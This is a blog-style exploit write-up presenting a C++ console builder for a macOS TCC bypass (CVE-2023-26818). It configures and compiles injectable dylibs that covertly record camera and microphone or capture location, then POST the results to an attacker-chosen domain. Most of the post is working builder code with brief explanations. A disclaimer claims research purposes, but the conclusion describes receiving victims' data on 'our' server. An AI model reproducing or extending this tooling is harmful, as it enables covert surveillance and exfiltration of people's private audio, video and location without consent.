Exploit Writing Part 2: CVE-2023-26818 MacOS TCC Bypass W/ telegram

6 minute read

Disclaimer

This exploit has been created solely for the purposes of research and for the development of effective defensive techniques.

It is not intended to be used for any malicious or unauthorized activities. The author and the owner of the script disclaim

any responsibility or liability for any misuse or damage caused by this software. Users are urged to use this software

responsibly and only in accordance with applicable laws and regulations. Not for non-ethical usages.

Introduction

In this second part, we added more features to the exploits to send the results to a special domain/website in a POST

request, So the data can be transferred to the targeted server and retrieved from the server side to the original format.

The Exploit

Here we created a console app to make it easier to edit and compile the dylibs codes. And let’s break down the codes:

#include <iostream>
#include <string>
#include <cctype>
#include <fstream>
#include <sstream>

These are the header files that the code needs.

bool isNumber(const std::string& str) {
    for (char const &c : str) {
        if (!std::isdigit(c)) return false;
    }
    return true;
}

Here, checks if a given string is a number by iterating through each character in the string and ensuring it’s a digit. It

returns true if the string is a number, false otherwise.

void compileAndExport(const std::string &libraryName) {
    std::string compileCommand;
    if (libraryName == "Camera") {
        compileCommand = "gcc -dynamiclib -framework Foundation -framework AVFoundation ./libs/Camexploit.m -o ./Exports/Cam.dylib";
    } else if (libraryName == "Microphone") {
        compileCommand = "gcc -dynamiclib -framework Foundation -framework AVFoundation ./libs/Micexploit.m -o ./Exports/Micexploit.dylib";
    } else if (libraryName == "Location") {
        compileCommand = "gcc -dynamiclib -framework Foundation -framework CoreLocation -framework AVFoundation ./libs/Locexploit.m -o ./Exports/Locexploit.dylib";
    }

    int result = system(compileCommand.c_str());
    if (result == 0) {
        std::cout << libraryName << " compilation successful. Exported to ./Exports folder.\n";
    } else {
        std::cerr << libraryName << " compilation failed. Please check the source code.\n";
    }
}

This function compiles and exports a library based on its name. It prepares a compilation command string based on the

library’s name and then executes it using the system function. After execution, it checks if the compilation was successful

and notifies the user accordingly.

void updateFileContent(const std::string& filePath, const std::string& timeInSeconds, const std::string& outputFilename, const std::string& domainName) {
    std::ifstream file(filePath);
    std::ostringstream tempStream;
    std::string line;

    while (std::getline(file, line)) {
        if (line.find("[NSThread sleepForTimeInterval:") != std::string::npos) {
            tempStream << "[NSThread sleepForTimeInterval:" << timeInSeconds << ".0];\n";
        } else if (line.find("[NSTemporaryDirectory() stringByAppendingPathComponent:@\"file_name\"]") != std::string::npos) {
            tempStream << "NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@\"" << outputFilename << "\"];\n";
        } else if (line.find("[request setURL:[NSURL URLWithString:@\"http://a.com\"]]") != std::string::npos) {
            tempStream << "[request setURL:[NSURL URLWithString:@\"" << domainName << "\"]];\n";
        } else {
            tempStream << line << "\n";
        }
    }
    file.close();

    std::ofstream outFile(filePath);
    outFile << tempStream.str();
    outFile.close();
}

This function updates the content of a given file (specified by filePath). It reads the file line by line and looks for

specific placeholders to replace them with user input values (time, filename, and domain name). After modifying the

content, it writes the updated content back to the same file.

int main() {
    bool camera = false;
    bool microphone = false;
    bool location = false;
    std::string timeInSeconds;
    std::string outputFilename;
    std::string domainName;

Here are flags for each option (camera, microphone, and location) are declared along with strings to store user input for

recording time, output filename, and domain name.

while (true) {
        std::cout << "Select options by entering the number:\n";
        std::cout << "1. Toggle Camera (" << (camera ? "Selected" : "Not Selected") << ")\n";
        std::cout << "2. Toggle Microphone (" << (microphone ? "Selected" : "Not Selected") << ")\n";
        std::cout << "3. Toggle Location (" << (location ? "Selected" : "Not Selected") << ")\n";
        std::cout << "4. Set Time In Second for Recording (" << timeInSeconds << ")\n";
        std::cout << "5. Set Output Filename (" << outputFilename << ")\n";
        std::cout << "6. Set Domain Name (" << domainName << ")\n";
        std::cout << "7. Export\n";
        std::cout << "8. Exit\n";
        std::cout << "> ";

        int choice;
        std::cin >> choice;
        std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); // clear the buffer

        switch (choice) {
            case 1:
                camera = !camera;
                break;
            case 2:
                microphone = !microphone;
                break;
            case 3:
                location = !location;
                break;
            case 4:
                if (camera || microphone) {
                    std::cout << "Enter time in seconds: ";
                    std::getline(std::cin, timeInSeconds);
                    if (!isNumber(timeInSeconds)) {
                        std::cout << "Invalid input! Please enter a valid number for time.\n";
                        timeInSeconds = "";
                    }
                } else {
                    std::cout << "You need to select Camera or Microphone first!\n";
                }
                break;
            case 5:
                if (camera || microphone) {
                    std::cout << "Enter output filename: ";
                    std::getline(std::cin, outputFilename);
                } else {
                    std::cout << "You need to select Camera or Microphone first!\n";
                }
                break;
            case 6:
                std::cout << "Enter domain name (including http:// or https://): ";
                std::getline(std::cin, domainName);
                break;
            case 7:
                if (!camera && !microphone && !location) {
                    std::cout << "Please select at least one option!\n";
                } else if ((camera || microphone || location) && (timeInSeconds.empty() || outputFilename.empty() || domainName.empty())) {
                    std::cout << "Please fill in all required fields!\n";
                } else if ( location && domainName.empty()) {
                    std::cout << "Please fill in all required fields!\n";
                } else {
                    if (camera) {
                        updateFileContent("./libs/Camexploit.m", timeInSeconds, outputFilename, domainName);
                        compileAndExport("Camera");
                    }
                    if (microphone) {
                        updateFileContent("./libs/Micexploit.m", timeInSeconds, outputFilename, domainName);
                        compileAndExport("Microphone");
                    }
                    if (location) {
                        updateFileContent("./libs/Locexploit.m", timeInSeconds, outputFilename, domainName);
                        compileAndExport("Location");
                    }
                }
                break;
            case 8:
                return 0;
            default:
                std::cout << "Invalid choice. Please try again.\n";
                break;
        }

This loop continues to run until the user chooses the Exit option. Within the loop, the console presents a menu to the user

to select various options such as toggling which features are selected, setting the recording time, output filename, domain

name, and exporting. Depending on the user’s choice, various tasks are performed. and then executes actions based on the

user’s choice. If the user chooses option 8. Exit the code will exit, terminating the loop and the process.

Exploit Test

  • Victim Side:

  • Attacker Side:

Conclusion

As of now we finished the full exploit with the ability to send the data to us on the server after we exploit it, Disclaimer: This

exploit has been created solely for the purposes of research and for the development of effective defensive techniques. It is

not intended to be used for any malicious or unauthorized activities. The author and the owner of the script disclaim any

responsibility or liability for any misuse or damage caused by this software. Users are urged to use this software responsibly

and only in accordance with applicable laws and regulations. Not for non-ethical usages.

Tags:

Categories:

Updated: